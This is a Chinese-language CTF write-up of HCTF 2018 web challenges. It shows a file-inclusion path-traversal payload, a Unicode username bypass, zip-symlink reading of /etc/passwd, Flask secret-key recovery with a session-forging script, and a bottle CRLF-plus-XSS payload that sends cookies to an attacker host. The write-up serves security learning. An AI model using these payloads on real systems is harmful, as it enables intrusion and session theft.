Warmup
先看hint
看url有file参数,感觉可能要用伪协议啥的,试了下,没出东西
扫一下目录,发现 http://warmup.2018.hctf.io/source.php源码文件
源码如下
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
看了下是文件包含,checkFile函数$_page取file参数第一个问号之前的字段检查文件名是否在白名单内于是构造file参数为hint.php?/../../../../../ffffllllaaaagggg
原理是hint.php?/被当作目录,之后上跳目录就好了(这个只适用于linux)
测试如下
admin
拿到题我是懵逼的,直到队友在忘记密码的html源码里找到了github链接
地址https://github.com/woadsl1234/hctf_flask/
下载下来可以看到是flask写的,用的sqlalchemy,以为有sql注入,找了下,没看见直接拼接的点,最后发现了奇怪的地方,app/routes.py文件中在注册中对用户名进行了strlower()函数的处理,重置密码和登陆也有
strlower()函数如下
这里的处理有点摸不着头脑,于是搜了下,发现nodeprep.prepare这个函数存在unicode安全问题
参考这个: https://paper.tuisec.win/detail/a9ad1440249d95b
注意到这里提到的问题,和本题情况一样
于是尝试注册
ᴬdmin
用户
之后去重置密码
登陆拿到flag
hide and seek
上来给了个zip上传,看session是用flask写的,猜是zip软链接的问题
这个之前看过,没有具体尝试,找了个文章看看
参考:https://xz.aliyun.com/t/2589
照着试了下
之后上传,成功读到/etc/passwd文件,是这个点没错了
之后去读取环境变量/proc/self/environ结果如下
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=159593146cad
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0
注意到配置文件UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
读取结果是
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
可见main模块,读取一下
/app/hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main.py
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
尝试去读取flag.py,提示要admin权限,于是看下源码
注意到SECRET_KEY
生成的使用的随机数,但却指定了seed
查了下用作seed的uuid.getnode()是pc的mac地址,也就是一定的,于是可以构造session,按照linux下一切皆文件,mac地址一定也是存在哪个文件里了,搜了下,发现在
/sys/class/net/eth0/address
读了下结果是12:34:3e:14:7c:62
然后就是确定
SECRET_KEY
为
11.935137566861131
注意这里要看下之前读取的环境变量,其中python版本PYTHON_VERSION=3.6.6
在py2和py3中取到的精度是不一样的,还有python要使用linux的,win的没尝试,但可能也不一样,py2生成的如下
之后就是构造admin的session了,代码如下
# -*- coding: utf-8 -*-
__author__ = 'gakki429'
import hmac
from hashlib import sha1
from itsdangerous import *
def session_serializer(secret_key):
signer_kwargs = dict(
key_derivation='hmac',
digest_method=sha1
)
Serializer = URLSafeTimedSerializer(secret_key, salt='cookie-session',
signer_kwargs=signer_kwargs)
data = {'username': 'admin'}
return Serializer.dumps(data)
if __name__ == '__main__':
secret_key = '11.935137566861131'
print session_serializer(secret_key)
之后curl一下
bottle
拿到题目,看了下cookie,有bottle.session键值
估计是个框架什么的,就搜了下有什么洞
发现了p神的文章,是CRLF的洞
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
本题只有一个输入框
看到这个captcha,为了省事,我本地干脆生成了0-10000的md5值
之后正则搜一下就行,由于是从0开始,要把行号的值减一,没找到刷新换个验证码就是
之后提交一下url的值,没发现什么东西。。。,直到我填了个错误的验证码值,发现了新的请求,可以看见path就是Location的值
这里可能就是CRLF的利用点了,测了下发现他只对站内的url有反应,其他都报错
尝试CRLF,发现可以成功,注意添加Content-Length的http头,否则不返回body
但是放到浏览器里就不行了,考虑得到curl默认不进行302跳转,加上
-L
跟随一下
看了下详情发现了问题,提示
Ignoring the response-body
,于是想办法阻止这个跳转,搜了下,找到了这个 http://www.tiaozhanziwo.com/archives/683.html
火狐中可以用错误端口阻止跳转,题目也提示了
hint2: bot use firefoxDriver
,应该就是这个了,试了下8888端口,没有响应,试了下火狐里也不行,开始懵逼。。
后面又尝试了其他方法,都不行,突然想起来可能需要是个开放的端口才行,于是去试了下22端口,nice,成功了
题目提示使用bot,应该是xss,于是试了下,本地可以打到cookie了
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aContent-Length:49%0d%0a%0d%0a
xss.js内容vps.ip是你的vps的ip值
var img = document.createElement("img");
img.src = "http://vps.ip/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);
提交给bot,看一下日志,成功打到cookie
curl一下,得到flag
这题是有csp的,但有时后会被放到body中,有时候依旧在header,由于开始可能bot有问题,没有csp的时候也没打到cookie,我开始以为是有什么问题,还跑去问出题人来着,结果这个是预期内,我就开始想着绕过csp,尝试了一些http头的覆盖,没有成功,后来想了下可以用CRLF构建一个页面,把js放在里面,之后script引用这个,但是试了半天也没能成功,太菜了,最后实力错过了一血。。。(留下了没有技术的眼泪)
总结
这次一共做了5个web,其他没怎么看,kzone是队友做的,最后32名,感谢杭电师傅们出的题,师傅们辛苦了
顺便问一下,有大佬战队要菜鸡web吗(想和大师傅们一起学习)